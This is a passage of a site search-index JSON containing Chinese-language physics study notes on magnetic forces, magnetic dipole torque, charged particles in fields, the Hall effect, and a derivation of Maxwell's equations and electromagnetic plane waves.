<p>\u5de6\u624b\u5b9a\u5219\uff0cout\uff01\u5168\u90e8\u4f7f\u7528\u53f3\u624b\u5b9a\u5219\uff0c\u5982\u679c\u662f\u7535\u5b50\u8fd0\u52a8\uff0c\u4e5f\u53ef\u4ee5\u5f53\u4f5c\u5fae\u5c0f\u7535\u6d41\u6765\u5904\u7406\uff0c\u5b89\u57f9\u529b\u548c\u6d1b\u4f26\u5179\u529b\u672c\u8d28\u4e0a\u662f\u4e00\u6837\u7684</p> <p>Example</p> <p> </p> <p>\u5e73\u7684\u90e8\u5206\u5f88\u7b80\u5355\uff0c\u5f2f\u5f2f\u7684\u90e8\u5206\u4f7f\u7528\u5fae\u5206\uff0c\u53d1\u73b0\u6c34\u5e73\u90e8\u5206\u7684\u529b\u7531\u4e8e\u5bf9\u79f0\u6027\u4e3a\u96f6\uff0c\u53ea\u6709\u7ad6\u76f4\u90e8\u5206\u7684\u529b</p> \\[     F_2 = F_\\perp = \\int_0^{\\pi} iBR d\\theta \\sin \\theta = iBR \\int_0^{\\pi} \\sin \\theta d\\theta = 2iBR \\] <p>Note</p> Info <p>\u5b89\u57f9\u7684\u5b9a\u4e49\uff1b\u4e24\u4e2a\u76f8\u8ddd\\(1m\\)\u7684\u76f4\u5bfc\u7ebf\uff0c\u901a\u8fc7\u7684\u7535\u6d41\uff0c\u4ea7\u751f\u7684\u529b\u4e3a\\(2 \\times 10^{-7} N\\)\uff1b\u8fd9\u6837\u5927\u5c0f\u7684\u7535\u6d41\u79f0\u4e3a\\(1A\\)</p>"},{"location":"NOTE/Physics/magnetism/#_11","title":"\u77e9\u5f62\u7ebf\u5708","text":"<p>Definition</p> <p>\u78c1\u5076\u6781\u77e9\u7684\u65b9\u5411\u4e3a\u53f3\u624b\u5b9a\u5219\u7684\u65b9\u5411</p> \\[     \\boldsymbol{\\mu} = i \\pi R^2 \\boldsymbol{n} \\] <p>\u5bf9\u4e8e\u4e00\u4e2a\u77e9\u5f62\u7ebf\u5708\uff0c\u5982\u679c\u5b83\u80fd\u7ed5\u7740\u4e00\u4e2a\u8f74\u65cb\u8f6c\uff0c\u5982\u56fe</p> \\[ \\tau = F_{AB} \\frac{b}{2} \\sin \\theta + F_{CD} \\frac{b}{2} \\sin \\theta \\] \\[ = i a B \\frac{b}{2} \\sin \\theta + i a B \\frac{b}{2} \\sin \\theta \\] \\[ = i B A \\sin \\theta \\] \\[ \\vec{\\tau} = i A (\\vec{n} \\times \\vec{B}) = \\vec{\\mu} \\times \\vec{B} \\]"},{"location":"NOTE/Physics/magnetism/#_12","title":"\u4efb\u610f\u5f62\u72b6\u7ebf\u5708","text":"<p>\u73b0\u5728\u5c06\u7ed3\u8bba\u63a8\u5e7f\u5230\u4efb\u610f\u5f62\u72b6\u7684\u7ebf\u5708\uff0c\u5982\u56fe\uff0c\u78c1\u5076\u6781\u77e9\u4e0e\u78c1\u573a\u5782\u76f4</p> <p>\u5c06\u7ebf\u5708\u5206\u5272\u4e3a\u4e00\u4e2a\u4e2a\u5c0f\u77e9\u5f62\uff0c\u6bcf\u4e2a\u5c0f\u77e9\u5f62\u5185\u90e8\u7535\u6d41\u4f9d\u6b21\u76f8\u6d88\uff0c\u6700\u540e\u5408\u7535\u6d41\u4e3a\u539f\u7535\u6d41</p> \\[ dF_1 = i ds_1 B \\sin \\theta_1 \\] \\[ dF_2 = i ds_2 B \\sin \\theta_2 \\] \\[ ds_1 \\sin \\theta_1 = ds_2 \\sin \\theta_2 = dh \\] \\[ dF_1 = dF_2 = i B dh \\] \\[ d\\tau = dF_1 \\cdot x_1 + dF_2 \\cdot x_2 \\] \\[ = iB dh (x_1 + x_2) \\] \\[ = iB dA \\] \\[ \\tau = \\int d\\tau = \\int iB dA = iBA  \\] <p>Key-point</p> <p>\u8fd9\u79cd\u529b\u77e9\u4f7f\u5f97\u78c1\u5076\u6781\u77e9\u6709\u8f6c\u5230\u78c1\u573a\u65b9\u5411\u7684\u8d8b\u52bf</p>"},{"location":"NOTE/Physics/magnetism/#_13","title":"\u70b9\u7535\u8377\u5728\u78c1\u573a\u4e2d\u8fd0\u52a8","text":"<p>Property</p> <ul> <li>\u6d1b\u4f26\u5179\u529b\u4e0d\u505a\u529f</li> <li>\u6d1b\u4f26\u5179\u529b\u53ea\u6539\u53d8\u901f\u5ea6\u65b9\u5411\uff0c\u4e0d\u6539\u53d8\u901f\u5ea6\u5927\u5c0f</li> <li>\u6d1b\u4f26\u5179\u529b\u65b9\u5411\u7528\u53f3\u624b\u5b9a\u5219\u5224\u65ad</li> <li>\u5bf9\u4e8e\u901f\u5ea6\u4e3a\\(v\\)\u7684\u70b9\u7535\u8377\uff0c\u6d1b\u4f26\u5179\u529b\u4e3a\\(q \\boldsymbol{v_{\\perp}}\\boldsymbol{B}\\)</li> <li>\u5982\u679c\u5728\u5300\u5f3a\u78c1\u573a\u4e2d\uff0c\u505a\u5706\u5468\u8fd0\u52a8\uff0c\u5219\\(q \\boldsymbol{v_{\\perp}}\\boldsymbol{B} = \\dfrac{mv^2}{r} \\rightarrow r = \\dfrac{mv}{qB}\\)</li> <li>\u901f\u5ea6\u9009\u62e9\u5668:\\(\\boldsymbol{E} \\perp \\boldsymbol{B}\\)\uff0c\u5219\\(qE = qvB \\rightarrow v = \\dfrac{E}{B}\\),\u901f\u5ea6\u9009\u62e9\u5668\u63a5\u7740\u4e00\u4e2a\u78c1\u573a\uff0c\u6839\u636e\u534a\u5f84\u4e0d\u540c\uff0c\u53ef\u4ee5\u505a\u5230\u5206\u79bb\u540c\u4f4d\u7d20</li> <li>\u56de\u65cb\u52a0\u901f\u5668: \u7535\u573a\u52a0\u901f\uff0c\u78c1\u573a\u504f\u8f6c\uff0c\u4ea4\u6d41\u7535\u7684\u5468\u671f\u4e0e\u7c92\u5b50\u505a\u5706\u5468\u8fd0\u52a8\u7684\u5468\u671f\u76f8\u540c\uff1b\\(v=\\dfrac{qBr}{m}\\)\uff0c\\(T=\\dfrac{2\\pi m}{qB}\\),\\(E_k = \\dfrac{1}{2}mv^2 = \\dfrac{q^2 B^2 r^2}{2m}\\)</li> </ul> Warning <p>\u5f53\u56de\u65cb\u52a0\u901f\u5668\u4e2d\u7684\u7c92\u5b50\u901f\u5ea6\u63a5\u8fd1\u5149\u901f\u65f6\uff0c\u7c92\u5b50\u8d28\u91cf\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u5bfc\u81f4\u7c92\u5b50\u505a\u5706\u5468\u8fd0\u52a8\u7684\u5468\u671f\u53d1\u751f\u53d8\u5316\uff0c\u4ece\u800c\u5bfc\u81f4\u56fa\u5b9a\u7684\u4ea4\u6d41\u7535\u9891\u7387\u65e0\u6cd5\u4e00\u76f4\u52a0\u901f\uff1b\u7c92\u5b50\u65e0\u6cd5\u88ab\u52a0\u901f\u5230\u66f4\u9ad8\u7684\u80fd\u91cf\u3002\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u78c1\u573a\u5927\u5c0f\uff1a</p> \\[     m=\\frac{m_0}{\\sqrt{1-\\frac{v^2}{c^2}}} \\] \\[     T=\\frac{2\\pi m}{qB}=\\frac{2\\pi m_0}{qB\\sqrt{1-\\frac{v^2}{c^2}}} \\] <p>\u4fee\u6539B\uff1b  </p> \\[     B \\sqrt{1-\\frac{v^2}{c^2}} = const \\] <ul> <li>\u540c\u6b65\u52a0\u901f\u5668</li> <li>\u970d\u5c14\u6548\u5e94\uff1a\u5e26\u7535\u7c92\u5b50\u5728\u78c1\u573a\u4e2d\u8fd0\u52a8\uff0c\u5728\u5782\u76f4\u4e8e\u78c1\u573a\u65b9\u5411\u7684\u5bfc\u4f53\u4e2d\uff0c\u7531\u4e8e\u6d1b\u4f26\u5179\u529b\uff0c\u7535\u8377\u4f1a\u5411\u4e00\u4fa7\u504f\u8f6c\uff0c\u4ece\u800c\u5728\u5bfc\u4f53\u4e24\u4fa7\u5f62\u6210\u7535\u52bf\u5dee\uff0c\u5e73\u8861\u65f6\uff0c\u6d1b\u4f26\u5179\u529b\u7b49\u4e8e\u7535\u573a\u529b\uff0c\\(qE = qvB \\rightarrow E = vB\\)\uff0c\\(U = E \\cdot d = vBd\\)\uff0c\\(I = j \\cdot d \\cdot w = nqv \\cdot d \\cdot w\\)\uff0c\\(j = nqv\\)\uff0c\\(U = \\dfrac{I B d}{nqwd}\\)\uff0c\\(R_H = \\dfrac{U}{I} = \\dfrac{B}{nqw}\\)\uff0c\\(R_H\\)\u79f0\u4e3a\u970d\u5c14\u7cfb\u6570\uff0c\\(n\\)\u4e3a\u8f7d\u6d41\u5b50\u6d53\u5ea6\uff0c\\(q\\)\u4e3a\u8f7d\u6d41\u5b50\u7535\u91cf\uff0c\\(w\\)\u4e3a\u5bfc\u4f53\u5bbd\u5ea6\uff0c\\(d\\)\u4e3a\u5bfc\u4f53\u539a\u5ea6</li> </ul>"},{"location":"NOTE/Physics/maxwell/","title":"Maxwell Equation","text":"<p> \u7ea6 3735 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 13 \u5206\u949f</p> <p>\u6539\u53d8\u4eba\u7c7b\u6587\u660e\u8fdb\u7a0b\u7684\u4f1f\u5927\u65b9\u7a0b(\u6211\u4e86\u4e2a\u8c46\uff0c\u6572LaTeX\u771f\u7d2f\u554a)</p>"},{"location":"NOTE/Physics/maxwell/#_1","title":"\u5bf9\u79f0\u6027\u539f\u5219","text":"<p>\u6211\u4eec\u9996\u5148\u56de\u5fc6\u5b66\u8fc7\u7684\u65b9\u7a0b</p> <p>\u5728\u771f\u7a7a\u4e2d\uff0c\u6211\u4eec\u6709</p> <ul> <li>\u7535\u573a\u9ad8\u65af\u5b9a\u7406</li> </ul> \\[     \\oiint \\boldsymbol{E} \\cdot \\boldsymbol{dS} = \\frac{Q}{\\varepsilon_0} \\] <ul> <li>\u78c1\u573a\u9ad8\u65af\u5b9a\u7406</li> </ul> \\[     \\oiint \\boldsymbol{B} \\cdot \\boldsymbol{dS} = 0 \\] <ul> <li>\u6cd5\u62c9\u7b2c\u7535\u78c1\u611f\u5e94\u5b9a\u5f8b</li> </ul> \\[     \\oint \\boldsymbol{E} \\cdot \\boldsymbol{dl} = -\\frac{d\\Phi_B}{dt} = -\\iint \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot \\boldsymbol{dS} \\] <ul> <li>\u5b89\u57f9\u73af\u8def\u5b9a\u7406</li> </ul> \\[     \\oint \\boldsymbol{B} \\cdot \\boldsymbol{dl} = \\mu_0 I_{enc} \\] <p>\u5728\u7535\u4ecb\u8d28\u6216\u8005\u78c1\u82af\u6750\u6599\u4e2d\uff0c\u6211\u4eec\u6709</p> <ul> <li>\u7535\u573a\u9ad8\u65af\u5b9a\u7406\u63a8\u5e7f</li> </ul> \\[     \\oiint \\boldsymbol{D} \\cdot \\boldsymbol{dS} = Q_{free} \\] <ul> <li>\u78c1\u573a\u73af\u8def\u5b9a\u7406\u63a8\u5e7f</li> </ul> \\[     \\oint \\boldsymbol{H} \\cdot \\boldsymbol{dl} = I_{free} = \\oiint \\boldsymbol{J} \\cdot \\boldsymbol{dS} \\] <p>\u6211\u4eec\u8fd8\u6709\u6b27\u59c6\u5b9a\u5f8b\u5fae\u5206\u5f62\u5f0f</p> \\[     \\boldsymbol{J} = \\sigma \\boldsymbol{E} \\] <p>\u5bf9\u79f0\u6027\u539f\u5219\uff1a\u7269\u7406\u5b66\u5bb6\u4eec\u5e0c\u671b\u65b9\u7a0b\u662f\u5bf9\u79f0\u7f8e\u89c2\u7684\uff0c\u89c2\u5bdf\u7535\u573a\u548c\u78c1\u573a\u7684\u9ad8\u65af\u5b9a\u5f8b\uff0c\u4e8e\u662f\u81ea\u7136\u4e0d\u60f3\u770b\u5230\u78c1\u573a\u9ad8\u65af\u5b9a\u5f8b\u7684\u7b49\u53f7\u53f3\u8fb9\u7a7a\u7a7a\u5982\u4e5f\uff0c\u4e5f\u5e0c\u671b\u7535\u573a\u73af\u8def\u5b9a\u5f8b\u51fa\u73b0\u7535\u6d41\u7684\u5f62\u5f0f\uff0c\u6240\u4ee5\u5f15\u5165\u4e86\u78c1\u8377\\(q_m\\)\u5bf9\u65b9\u7a0b\u8fdb\u884c\u4fee\u6b63</p> \\[     \\begin{cases}     \\oiint \\boldsymbol{B} \\cdot \\boldsymbol{dS} = q_m \\\\     \\oint \\boldsymbol{E} \\cdot \\boldsymbol{dl} = \\dfrac{dq_m}{dt} -\\oiint \\dfrac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot \\boldsymbol{dS}     \\end{cases}  \\]"},{"location":"NOTE/Physics/maxwell/#stokez","title":"Stokez\u516c\u5f0f\u4e0e\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b","text":"<p>\u6211\u5ba3\u4f48\u73fe\u5728\u6211\u4e5f\u662f\u9ea5\u514b\u65af\u97cb\u4e86</p> <p>\u4f7f\u7528\u7535\u573a\u7684\u73af\u8def\u5b9a\u7406\uff0c\u518d\u7528\u65af\u6258\u514b\u65af\u516c\u5f0f\u53d8\u6210\u9762\u79ef\u5206</p> \\[ \\oint \\boldsymbol{H} \\cdot d\\boldsymbol{l} = i_0 = \\iint_{S_2} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} \\] \\[ -\\iint_{S_1} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = \\iint_{S_2} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = i_0 \\] \\[ \\iint_{S} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = \\iint_{S_1} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} + \\iint_{S_2} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = 0 \\] <p>\u8fd9\u542f\u53d1\u6211\u4eec\uff0c\u4ee5\u4e00\u4e2a\u5c01\u95ed\u7684\u66f2\u9762\u5305\u88f9\u7740\u7535\u6d41\uff0c\u5176\u9762\u79ef\u5206\u4e3a0\uff1b</p> <p>\u4f46\u662f\u8fd9\u6837\u7684\u7ed3\u8bba\u5728\u7ed9\u7535\u5bb9\u5668\u5145\u7535\u65f6\u51fa\u73b0\u4e86\u8be1\u5f02\u7684\u60c5\u51b5</p> <p>\u5bf9\u4e8e(1,2)\u66f2\u9762\uff0c\u9762\u79ef\u5206\u4e3a0\uff0c(1,4)\u66f2\u9762\uff0c\u9762\u79ef\u5206\u4e3a0\uff0c\u4f46\u662f(1,3)\u66f2\u9762\uff0c\u9762\u79ef\u5206\u4e0d\u4e3a0\uff0c\u6b64\u65f6\u7535\u6d41\u4ece1\u9762\u8fdb\u5165\uff0c\u4f46\u662f\u6ca1\u6709\u4ece3\u9762\u51fa\u53bb\uff1b\u8fd9\u592a\u4e0d\u81ea\u7136\u4e86</p> <p>\u6240\u4ee5\u6211\u4eec\u81ea\u7136\u5f15\u5165\u4f4d\u79fb\u7535\u6d41\\(I_D\\)</p> \\[    \\oint \\boldsymbol{H} \\cdot \\boldsymbol{dl} = I_{free} + I_D \\] <p>\u4f46\u662f\\(I_D\\)\u662f\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u53ef\u4ee5\u4ece\u9762\u79ef\u5206\u7684\u5f62\u5f0f\u51fa\u53d1</p> <p>\u8003\u8651(1,3)\u66f2\u9762\\(S\\)\uff0c\u53ea\u8fdb\u4e0d\u51fa</p> \\[     \\oiint_S \\boldsymbol{J} \\cdot \\boldsymbol{dS} = -\\dfrac{dq}{dt} \\] \\[     \\oiint_S \\boldsymbol{D} \\cdot \\boldsymbol{dS} = q \\] \\[     \\oiint_s \\dfrac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot \\boldsymbol{dS} = \\dfrac{dq}{dt} \\] <p>\u6240\u4ee5\u5728(1,3)\u66f2\u9762\u4e0a\uff0c\u6211\u4eec\u6709</p> \\[     \\oiint_S \\left( \\boldsymbol{J} + \\dfrac{\\partial \\boldsymbol{D}}{\\partial t} \\right) \\cdot \\boldsymbol{dS} = 0 \\] <p>\u6b64\u65f6\u57281\u66f2\u9762\u8fdb\u7684\u7b49\u4e8e3\u66f2\u9762\u51fa\u7684</p> \\[     - \\oiint_{S_1} \\boldsymbol{J} \\cdot \\boldsymbol{dS} = \\oiint_{S_3} \\boldsymbol{J} \\cdot \\boldsymbol{dS}  \\] <p>\u4f4d\u79fb\u7535\u6d41</p> <p>1\u66f2\u9762\u6ca1\u6709\u4f4d\u79fb\u7535\u6d41\uff0c3\u66f2\u9762\u6ca1\u6709\u81ea\u7531\u7535\u6d41\uff0c\u4f4d\u79fb\u7535\u6d41\\(I_D=I_0\\)</p> <p>\u6700\u540e\uff0c\u66f4\u52a0\u5b8c\u6574\u7684\u5b9a\u4e49\u4e3a</p> \\[ \\Phi_D = \\iint \\boldsymbol{D} \\cdot d\\boldsymbol{A} \\quad \\text{electric displacement flux} \\] \\[ i_D = \\frac{d\\Phi_D}{dt} = \\iint \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot d\\boldsymbol{A} \\quad \\text{displacement current} \\] \\[ \\boldsymbol{j}_D = \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\quad \\text{displacement current density} \\] <p>\u5206\u522b\u662f\u7535\u4f4d\u79fb\u901a\u91cf\uff0c\u4f4d\u79fb\u7535\u6d41\uff0c\u4f4d\u79fb\u7535\u6d41\u5bc6\u5ea6</p> <p>i_D=i_0</p> \\[ E = \\frac{\\sigma_e}{\\epsilon_0} = \\frac{q}{\\epsilon_0 A} \\quad \\therefore \\quad q = \\epsilon_0 A E = \\epsilon_0 \\Phi_E = AD \\] \\[ \\therefore \\quad i_0 = \\frac{dq}{dt} = \\epsilon_0 \\frac{d\\Phi_E}{dt} = \\frac{d\\Phi_D}{dt} = i_D, \\quad \\boldsymbol{D} = \\epsilon_0 \\boldsymbol{E} \\] <p>\u7535\u5bb9\u5145\u6ee1\u7535\u4e4b\u540e\\(i_D=i_0=0\\);</p> <p>\u8fd9\u4e2a\u7535\u6d41\u4e5f\u4f1a\u4ea7\u751f\u78c1\u573a</p> <p> </p> <p></p> \\[ \\oint \\boldsymbol{H} \\cdot d\\boldsymbol{l} = \\int \\int \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot d\\boldsymbol{A}  \\enspace  (I_D) \\] \\[ \\oint \\frac{\\boldsymbol{B}}{\\mu_0} \\cdot d\\boldsymbol{l} = \\epsilon_0 \\int \\int \\frac{\\partial \\boldsymbol{E}}{\\partial t} \\cdot dA \\] \\[ \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = \\mu_0 \\epsilon_0 \\int \\int \\frac{\\partial \\boldsymbol{E}}{\\partial t} \\cdot dA \\] <p>\u53d8\u5316\u7684\u7535\u573a\u4ea7\u751f\u78c1\u573a\uff0c\u53d8\u5316\u7684\u78c1\u573a\u4ea7\u751f\u7535\u573a\uff0c\u8fd9\u5c31\u662f\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b</p> <p>\u6700\u540e\uff0c\u6211\u4eec\u5f97\u5230</p> \\[     \\oint \\boldsymbol{H} \\cdot \\boldsymbol{dl} = \\iint \\boldsymbol{J} \\cdot \\boldsymbol{dS} + \\iint \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot \\boldsymbol{dS} \\] <p>\u4ee5\u53ca</p> \\[     \\nabla \\times \\boldsymbol{H} = \\boldsymbol{J} + \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\]"},{"location":"NOTE/Physics/maxwell/#_2","title":"\u7535\u78c1\u6ce2","text":"<p>\u6211\u4eec\u53ef\u4ee5\u4ece\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b\u63a8\u5bfc\u51fa\u7535\u78c1\u6ce2\u7684\u6027\u8d28</p> <p>\u79ef\u5206\u5f62\u5f0f\uff1a</p> \\[ \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = \\frac{q_0}{\\epsilon_0} \\] \\[ \\oiint \\boldsymbol{B} \\cdot d\\boldsymbol{A} = 0 \\] \\[ \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} = -\\iint \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot d\\boldsymbol{A} \\] \\[ \\oint \\boldsymbol{H} \\cdot d\\boldsymbol{l} = i_0 + \\iint \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot d\\boldsymbol{A} \\] <p>\u5fae\u5206\u5f62\u5f0f\uff08\u81ea\u7531\u7a7a\u95f4\uff1a\\(\\rho_0 = 0, \\boldsymbol{J}_0 = 0\\)\uff09\uff1a</p> \\[ \\nabla \\cdot \\boldsymbol{E} = 0 \\] \\[ \\nabla \\times \\boldsymbol{E} = -\\frac{\\partial \\boldsymbol{B}}{\\partial t} = - \\kappa_m \\mu_0 \\frac{\\partial \\boldsymbol{H}}{\\partial t} \\] \\[ \\nabla \\cdot \\boldsymbol{H} = 0 \\] \\[ \\nabla \\times \\boldsymbol{H} = \\kappa_e \\epsilon_0 \\frac{\\partial \\boldsymbol{E}}{\\partial t} \\] <p>\u5206\u91cf\u5f62\u5f0f\uff1a</p> \\[ \\frac{\\partial E_x}{\\partial x} + \\frac{\\partial E_y}{\\partial y} + \\frac{\\partial E_z}{\\partial z} = 0 \\] \\[ \\begin{vmatrix} \\hat{i} &amp; \\hat{j} &amp; \\hat{k} \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ E_x &amp; E_y &amp; E_z \\end{vmatrix} = -\\kappa_m \\mu_0 \\left( \\frac{\\partial H_x}{\\partial t} \\hat{i} + \\frac{\\partial H_y}{\\partial t} \\hat{j} + \\frac{\\partial H_z}{\\partial t} \\hat{k} \\right) \\] \\[ \\frac{\\partial H_x}{\\partial x} + \\frac{\\partial H_y}{\\partial y} + \\frac{\\partial H_z}{\\partial z} = 0 \\] \\[ \\begin{vmatrix} \\hat{i} &amp; \\hat{j} &amp; \\hat{k} \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ H_x &amp; H_y &amp; H_z \\end{vmatrix} = \\kappa_e \\epsilon_0 \\left( \\frac{\\partial E_x}{\\partial t} \\hat{i} + \\frac{\\partial E_y}{\\partial t} \\hat{j} + \\frac{\\partial E_z}{\\partial t} \\hat{k} \\right) \\]"},{"location":"NOTE/Physics/maxwell/#_3","title":"\u5e73\u9762\u6ce2","text":"<p>\u9996\u5148\uff0c\u5047\u8bbe\u5355\u4e00\u6ce2\u6e90\uff0c\u5728\u5f88\u8fdc\u7684\u81ea\u7531\u7a7a\u95f4\u4e2d\uff0c\u5728\u7403\u9762\u4e0a\u53d6\u4e00\u5f27\u9762\uff0c\u53ef\u4ee5\u8fd1\u4f3c\u4e3a\u5e73\u9762\u6ce2\uff1b\u4ee5\u5176\u4f20\u64ad\u65b9\u5411\u4e3a\\(z\\)\u8f74\uff0c\u7535\u573a\u548c\u78c1\u573a\u5206\u522b\u4e3a\\(x\\)\u548c\\(y\\)\u8f74</p> <p>\u5c06\u4e0a\u9762\u7684\u5f0f\u5b50\u4f9d\u6b21\u5c55\u5f00\uff0c\u5f97\u5230\u4ee5\u4e0b8\u4e2a\u65b9\u7a0b</p> \\[\\begin{align*}     \\frac{\\partial E_x}{\\partial x} + \\frac{\\partial E_y}{\\partial y} + \\frac{\\partial E_z}{\\partial z} &amp;= 0 \\tag{1} \\\\     \\frac{\\partial E_z}{\\partial y} - \\frac{\\partial E_y}{\\partial z} &amp;= -\\kappa_m \\mu_0 \\frac{\\partial H_x}{\\partial t} \\tag{2-1} \\\\     \\frac{\\partial E_x}{\\partial z} - \\frac{\\partial E_z}{\\partial x} &amp;= -\\kappa_m \\mu_0 \\frac{\\partial H_y}{\\partial t} \\tag{2-2} \\\\     \\frac{\\partial E_y}{\\partial x} - \\frac{\\partial E_x}{\\partial y} &amp;= -\\kappa_m \\mu_0 \\frac{\\partial H_z}{\\partial t} \\tag{2-3} \\\\     \\frac{\\partial H_x}{\\partial x} + \\frac{\\partial H_y}{\\partial y} + \\frac{\\partial H_z}{\\partial z} &amp;= 0 \\tag{3} \\\\     \\frac{\\partial H_z}{\\partial y} - \\frac{\\partial H_y}{\\partial z} &amp;= \\kappa_e \\epsilon_0 \\frac{\\partial E_x}{\\partial t} \\tag{4-1} \\\\     \\frac{\\partial H_x}{\\partial z} - \\frac{\\partial H_z}{\\partial x} &amp;= \\kappa_e \\epsilon_0 \\frac{\\partial E_y}{\\partial t} \\tag{4-2} \\\\     \\frac{\\partial H_y}{\\partial x} - \\frac{\\partial H_x}{\\partial y} &amp;= \\kappa_e \\epsilon_0 \\frac{\\partial E_z}{\\partial t} \\tag{4-3} \\end{align*}\\] <p>\u63a5\u4e0b\u6765\uff0c\u8fd0\u7528\u8fd9\u516b\u4e2a\u65b9\u7a0b\uff0c\u4e00\u6b65\u6b65\u63a8\u5bfc\u51fa\u7535\u78c1\u6ce2\u7684\u6027\u8d28</p>"},{"location":"NOTE/Physics/maxwell/#_4","title":"\u6a2a\u6ce2","text":"<p>\u9996\u5148\uff0c\u6211\u4eec\u6709\uff0c\u5728\\(x\\)\u548c\\(y\\)\u65b9\u5411\u7684\u7535\u573a\u5f3a\u5ea6\u548c\u78c1\u573a\u5f3a\u5ea6\u90fd\u662f\u4e00\u6837\u7684\uff0c\u4e0d\u4f1a\u53d8\u5316\uff1b\u6240\u4ee5</p> \\[    \\dfrac{\\partial E_x}{\\partial x} = \\dfrac{\\partial E_y}{\\partial y} = \\dfrac{\\partial H_x}{\\partial x} = \\dfrac{\\partial H_y}{\\partial y} = 0 \\] <p>\u7531 (1) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial E_z}{\\partial z} = 0 \\] <p>\u7531 (2-3) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial H_z}{\\partial t} = 0  \\] <p>\u7531 (3) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial H_z}{\\partial z} = 0 \\] <p>\u7531 (4-3) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial E_z}{\\partial t} = 0 \\] <p>\u6240\u4ee5\u7535\u573a\u548c\u78c1\u573a\u968f\u7740z\u8f74\u7684\u53d8\u5316\u662f\u4e0d\u53d8\u7684\uff0c\u53ef\u4ee5\u8bbe\u4e3a\\(0\\)</p> \\[     E \\perp k, H \\perp k \\]"},{"location":"NOTE/Physics/maxwell/#e-perp-h","title":"\\(E \\perp H\\)","text":"<p>\u8fd0\u7528\\(E_z=H_z=0\\)\uff0c\u6211\u4eec\u6709</p> <p>(2-1) \u5f0f</p> \\[     \\dfrac{\\partial E_y}{\\partial z} = \\kappa_m \\mu_0 \\dfrac{\\partial H_x}{\\partial t} \\] <p>(2-2) \u5f0f</p> \\[     \\dfrac{\\partial E_x}{\\partial z} = -\\kappa_m \\mu_0 \\dfrac{\\partial H_y}{\\partial t} \\] <p>(4-1) \u5f0f</p> \\[     \\dfrac{\\partial H_y}{\\partial z} = -\\kappa_e \\epsilon_0 \\dfrac{\\partial E_x}{\\partial t} \\] <p>(4-2) \u5f0f</p> \\[     \\dfrac{\\partial H_x}{\\partial z} = \\kappa_e \\epsilon_0 \\dfrac{\\partial E_y}{\\partial t} \\] <p>\u7531\u4e8e\\(x,y\\)\u7684\u65b9\u5411\u662f\u4efb\u610f\u5b9a\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8bbe\\(x\\)\u7684\u65b9\u5411\u5c31\u662f\u7535\u573a\u7684\u65b9\u5411\uff1b\u90a3\u4e48\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial H_x}{\\partial z} = 0 =\\dfrac{\\partial H_x}{\\partial t} \\] <p>\u6240\u4ee5\u78c1\u573a\u5f3a\u5ea6\u7684\u65b9\u5411\u4e0e\u7535\u573a\u5f3a\u5ea6\u65b9\u5411\u5782\u76f4\uff0c\u6545\\(E \\perp H\\)</p>"},{"location":"NOTE/Physics/maxwell/#_5","title":"\u6ce2\u52a8\u65b9\u7a0b","text":"<p>\u539f\u6765\u5149\u5c31\u662f\u7535\u78c1\u6ce2</p> <p>\u5bf9\u4e0a\u9762\u7684\u56db\u4e2a\u65b9\u7a0b\u4e2d\u7684(2-2)\u4e24\u8fb9\u5bf9\\(t\\)\u6c42\u504f\u5bfc</p> \\[ \\frac{\\partial^2 E_x}{\\partial z^2} = -\\kappa_m \\mu_0 \\frac{\\partial}{\\partial t} \\cdot \\frac{\\partial H_y}{\\partial z} = \\kappa_m \\mu_0 K_e \\epsilon_0 \\frac{\\partial^2 E_x}{\\partial t^2} \\] <p>\u540c\u7406\uff0c\u5bf9(4-1)\u64cd\u4f5c\uff0c\u5f97\u5230\u4ee5\u4e0b\u4e24\u4e2a\u65b9\u7a0b</p> \\[\\begin{align*} \\frac{\\partial^2 E_x}{\\partial z^2} - \\kappa_e \\epsilon_0 K_m \\mu_0 \\frac{\\partial^2 E_x}{\\partial t^2} &amp;= 0 \\\\ \\frac{\\partial^2 H_y}{\\partial z^2} - \\kappa_e \\epsilon_0 K_m \\mu_0 \\frac{\\partial^2 H_y}{\\partial t^2} &amp;= 0 \\end{align*}\\] <p>\u731c\u6839\u5f97\u5230</p> \\[     \\begin{cases}      E_x=E_{x0} e^{i(\\omega t - kz)}\\\\      H_y=H_{y0} e^{i(\\omega t - kz)}\\\\     \\end{cases} \\] <p>\u5e26\u5165\u65b9\u7a0b\uff0c\u5f97\u5230</p> \\[     \\begin{cases}      k^2 = \\kappa_e \\epsilon_0 \\kappa_m \\mu_0 \\omega^2\\\\      k = \\omega 